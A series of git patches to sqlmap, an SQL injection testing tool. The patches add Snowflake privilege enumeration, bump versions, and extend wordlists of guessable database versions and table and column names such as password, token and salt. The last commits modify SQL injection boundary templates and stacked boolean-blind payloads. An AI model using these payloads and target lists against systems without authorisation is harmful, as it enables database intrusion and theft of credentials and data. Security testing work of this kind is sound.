b/plugins/dbms/snowflake/enumeration.py @@ -28,8 +28,3 @@ def getPrivileges(self, *args, **kwargs): warnMsg = "on Snowflake it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} - - def getStatements(self): - warnMsg = "on Snowflake it is not possible to enumerate the SQL statements" - logger.warning(warnMsg) - return [] From f36d0402069b6425b2eee5073dc39929f10a6fda Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 22:51:48 +0100 Subject: [PATCH 036/135] Adding support for --privileges to Snowflake implementation (#5980) --- data/txt/sha256sums.txt | 8 ++++---- data/xml/queries.xml | 5 ++++- lib/core/settings.py | 2 +- plugins/dbms/snowflake/enumeration.py | 5 ----- plugins/generic/users.py | 2 +- 5 files changed, 10 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0c553af71fd..e7ebbd99a47 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,7 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -0611cc39f16b90ce2e328f48f1f6f8fc4c346f39667581874160e5dd8975d539 data/xml/queries.xml +cfaee65eb06365d60b224e769f83bfb9255cfbc62a481ee0f5059f0d948bea2e data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f9eb99d0a69765d0db03803ee6bc7596b9d69731b5842a80abea9fb5f94974f7 lib/core/settings.py +385a28b35b18b4f63497d8c1bc6a42196365bed91dd9f5d147f9fad1d812e556 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -435,7 +435,7 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py 5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py 5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py -4b4c3631d347c7fba3759e920086f89816f342ecb41042d1141c84ba4883a865 plugins/dbms/snowflake/enumeration.py +fdf4c3c627424bc5b71986dee450544721b2c841b9bbcad519a38b65d1c3aea7 plugins/dbms/snowflake/enumeration.py 3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py 16c215879ce089b408c7ee3b1a57b44d18f571623e63318384ce0358f5d0441a plugins/dbms/snowflake/fingerprint.py 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py @@ -481,7 +481,7 @@ ba07e54265cf461aed678df49fe3550aec90cb6d8aa9387458bd4b7064670d00 plugins/generi 7c1b1f91925d00706529e88a763bc3dabafaf82d6dbc01b1f74aeef0533537a1 plugins/generic/search.py da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generic/syntax.py eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generic/takeover.py -3a92c47837e9aab99d1ee788fc59404b145b2bec2702ead7ce0a32f45e57a850 plugins/generic/users.py +45bfd00f09557e20115e6ce7fb52ff507930d705db215e535f991e5fbf7464de plugins/generic/users.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py 423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 3067e17277b..ef70ca41d8e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1834,7 +1834,10 @@ - + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 82149bf913b..704c679ce38 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.33" +VERSION = "1.10.1.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py index 584ceb020da..548dbaf02bf 100644 --- a/plugins/dbms/snowflake/enumeration.py +++ b/plugins/dbms/snowflake/enumeration.py @@ -23,8 +23,3 @@ def searchDb(self): def searchColumn(self): errMsg = "on Snowflake it is not possible to search columns" raise SqlmapUnsupportedFeatureException(errMsg) - - def getPrivileges(self, *args, **kwargs): - warnMsg = "on Snowflake it is not possible to enumerate the user privileges" - logger.warning(warnMsg) - return {} diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 7bda2c835e8..ccd1b7747e4 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -457,7 +457,7 @@ def getPrivileges(self, query2=False): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.SNOWFLAKE): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is From 8c63d4c4a6a4ccd5d2b9ab4f7fd2a2cea93b838c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 23:11:46 +0100 Subject: [PATCH 037/135] Minor patch for Snowflake implementation (#5980) --- data/txt/sha256sums.txt | 6 +++--- data/xml/queries.xml | 9 +++------ lib/core/settings.py | 2 +- plugins/dbms/snowflake/enumeration.py | 6 ++++++ 4 files changed, 13 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e7ebbd99a47..fe751c95951 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,7 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -cfaee65eb06365d60b224e769f83bfb9255cfbc62a481ee0f5059f0d948bea2e data/xml/queries.xml +a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260 data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -385a28b35b18b4f63497d8c1bc6a42196365bed91dd9f5d147f9fad1d812e556 lib/core/settings.py +a7533f77a0b4f7b77f7e7b30f6f0c28de3c6e334277593942402d49851e1f515 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -435,7 +435,7 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py 5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py 5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py -fdf4c3c627424bc5b71986dee450544721b2c841b9bbcad519a38b65d1c3aea7 plugins/dbms/snowflake/enumeration.py +99f7a319652f7a46f724cfced5555bbaade28e64c90f80b5f0b3cfbbb29a958a plugins/dbms/snowflake/enumeration.py 3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py 16c215879ce089b408c7ee3b1a57b44d18f571623e63318384ce0358f5d0441a plugins/dbms/snowflake/fingerprint.py 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index ef70ca41d8e..5196459cc33 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1830,13 +1830,10 @@ - - - - + - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 704c679ce38..6b8d71b9247 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.34" +VERSION = "1.10.1.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py index 548dbaf02bf..c742a6960c9 100644 --- a/plugins/dbms/snowflake/enumeration.py +++ b/plugins/dbms/snowflake/enumeration.py @@ -15,6 +15,12 @@ def getPasswordHashes(self): logger.warning(warnMsg) return {} + def getRoles(self, *args, **kwargs): + warnMsg = "on Snowflake it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + def searchDb(self): warnMsg = "on Snowflake it is not possible to search databases" logger.warning(warnMsg) From 7c4e4247d8dbe0eb941d1cdbd4062cbb6fc53a80 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 23:17:10 +0100 Subject: [PATCH 038/135] Minor update of years --- data/txt/sha256sums.txt | 4 ++-- doc/THIRD-PARTY.md | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index fe751c95951..95bf8321979 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -89,7 +89,7 @@ a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260 data/xml/queri abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md -f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md +5112f71069f35d4b3737791ca680f2815f0c42fdf5c9bedff7654dde8372327f doc/THIRD-PARTY.md 25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a7533f77a0b4f7b77f7e7b30f6f0c28de3c6e334277593942402d49851e1f515 lib/core/settings.py +d4c5e30b3d91fbc339d9c6909dcbf92d5d799b8adf404ac72b27776cc81217a2 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 76d9e8fe350..f2aea92a599 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -271,13 +271,13 @@ be bound by the terms and conditions of this License Agreement. # MIT * The `bottle` web framework library located under `thirdparty/bottle/`. - Copyright (C) 2012, Marcel Hellkamp. + Copyright (C) 2018, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. - Copyright (C) 2019-2020, Miroslav Stampar. + Copyright (C) 2019-2021, Miroslav Stampar. * The `ordereddict` library located under `thirdparty/odict/`. Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. - Copyright (C) 2010-2018, Benjamin Peterson. + Copyright (C) 2010-2024, Benjamin Peterson. * The `Termcolor` library located under `thirdparty/termcolor/`. Copyright (C) 2008-2011, Volvox Development Team. diff --git a/lib/core/settings.py b/lib/core/settings.py index 6b8d71b9247..56f5b0176ba 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.35" +VERSION = "1.10.1.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 38f3f161273a980d12639d368bdeadf438bb18fa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 23:32:06 +0100 Subject: [PATCH 039/135] Minor update of common-outputs.txt --- data/txt/common-outputs.txt | 97 +++++++++++++++++++++++++++++++++---- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- 3 files changed, 90 insertions(+), 13 deletions(-) diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index cb0d3446810..bd5061b8bf7 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -15,6 +15,14 @@ 5.7. 6.0. 8.0. +8.1. +8.2. +8.3. +8.4. +9.0. +9.1. +9.2. +9.3. # PostgreSQL PostgreSQL 7.0 @@ -39,6 +47,10 @@ PostgreSQL 10. PostgreSQL 11. PostgreSQL 12. PostgreSQL 13. +PostgreSQL 14. +PostgreSQL 15. +PostgreSQL 16. +PostgreSQL 17. # Oracle Oracle Database 9i Standard Edition Release @@ -59,6 +71,11 @@ Oracle Database 11g Express Edition Release 11. Oracle Database 11g Enterprise Edition Release Oracle Database 11g Enterprise Edition Release 11. Oracle Database 12c +Oracle Database 18c +Oracle Database 19c +Oracle Database 21c +Oracle Database 23ai +Oracle Database 26ai # Microsoft SQL Server Microsoft SQL Server 7.0 @@ -70,6 +87,8 @@ Microsoft SQL Server 2014 Microsoft SQL Server 2016 Microsoft SQL Server 2017 Microsoft SQL Server 2019 +Microsoft SQL Server 2022 +Microsoft SQL Server 2025 [Users] @@ -420,6 +439,10 @@ ReportServer ReportServerTempDB tempdb +# Cloud Defaults +rdsadmin +innodb +azure_maintenance [Tables] @@ -1095,6 +1118,29 @@ vVendor WorkOrder WorkOrderRouting +# Common tables + +accounts +admin +audit +backup +config +configuration +customers +data +files +history +images +log +logs +members +messages +orders +products +settings +test +tokens +uploads [Columns] @@ -1236,20 +1282,51 @@ text time timestamp -# common columns +# Common columns +active +address +admin +blocked +category_id +city +confirmed +country created_at -updated_at -deleted_at created_on -modified_on -timestamp +customer_id +deleted +deleted_at +dob +email +enabled +first_name +flag +gender +hidden is_active is_deleted is_published +last_name +locked +login +modified_on +name +order_id +password +phone +private +product_id +public +role +salt +state status -enabled +timestamp +token +type +updated_at user_id -product_id -category_id -order_id -customer_id +username +visible +zip +zip_code diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 95bf8321979..fd798b1964d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -26,7 +26,7 @@ c3a595fc1746ee07dbc0592ba7d5e207e6110954980599f63b8156d1d277f8ca data/shell/sta 82bcebc46ed3218218665794197625c668598eb7e861dd96e4f731a27b18a701 data/shell/stagers/stager.php_ eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -5ead09a8e46b0043fae0ae35fbe1e67b284002e715b65eb26080d91e8b100d19 data/txt/common-outputs.txt +9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d4c5e30b3d91fbc339d9c6909dcbf92d5d799b8adf404ac72b27776cc81217a2 lib/core/settings.py +73fe1528c485ca6afcffb40fc7fa3804e24e80bc599ebabcb54e797020ec6b5c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 56f5b0176ba..1b6b1e4aa69 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.36" +VERSION = "1.10.1.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 89d47893efcae9f77d6cadacd2741ae44f7b3c20 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Jan 2026 20:31:56 +0100 Subject: [PATCH 040/135] Minor patch --- data/txt/sha256sums.txt | 4 ++-- data/xml/boundaries.xml | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index fd798b1964d..82b1dc28197 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -77,7 +77,7 @@ a1fe84c5b409366c3926f3138189fb17e7388ef09594a47c9d64e4efe9237a4b data/udf/postg a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml -1ac399c49ce3cb8c0812bb246e60c8a6718226efe89ccd1f027f49a18dbeb634 data/xml/boundaries.xml +0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml ffb3ce7c98e033b5fb7f392f833aa08781041d958b97c53179d1d667237b51af data/xml/errors.xml cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1 data/xml/payloads/boolean_blind.xml f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf data/xml/payloads/error_based.xml @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -73fe1528c485ca6afcffb40fc7fa3804e24e80bc599ebabcb54e797020ec6b5c lib/core/settings.py +e4f9555da6b51202181d974e0f594ca9d4c434e8396cea1b51596ebca5f3fe77 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index 20bf0d10315..ccf93177a58 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -437,7 +437,7 @@ Formats: 9 1 1 - +(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] + +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+ @@ -446,8 +446,8 @@ Formats: 9 1 2 - +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] - )+ + '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] + )+' diff --git a/lib/core/settings.py b/lib/core/settings.py index 1b6b1e4aa69..d448475cbcd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.37" +VERSION = "1.10.1.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d4349a88e475b445ce50704a6d6ab92ed4382bb7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Jan 2026 20:42:37 +0100 Subject: [PATCH 041/135] Minor patch --- data/txt/sha256sums.txt | 6 +++--- data/xml/payloads/boolean_blind.xml | 6 +++--- lib/core/dicts.py | 2 +- lib/core/settings.py | 2 +- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 82b1dc28197..a82e7711d70 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,7 +79,7 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml 0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml ffb3ce7c98e033b5fb7f392f833aa08781041d958b97c53179d1d667237b51af data/xml/errors.xml -cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1 data/xml/payloads/boolean_blind.xml +d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml @@ -175,7 +175,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datatype.py e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -62f64070ad11cc2e48cbed81bf2bc2ec3212de990f0d4cf40befc741c8960425 lib/core/dicts.py +76756ce056dd2e5363e5e1d2b2b4c3f3b36ff8c8ac215e83ee3b8d535ea6b741 lib/core/dicts.py 143f0b5b30e0f24b3527945879497de1542ba1aee9e6f0f98865e626c4c9317e lib/core/dump.py 1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -e4f9555da6b51202181d974e0f594ca9d4c434e8396cea1b51596ebca5f3fe77 lib/core/settings.py +2ccc6c4a13cc5e27ac31ac42c988a71c2e02ceb302c3f568763a590fdc48b820 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index ae8b6de95f2..0cf17140456 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -1596,13 +1596,13 @@ Tag: 1 1-8 1 - ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL - ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL -- - ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL
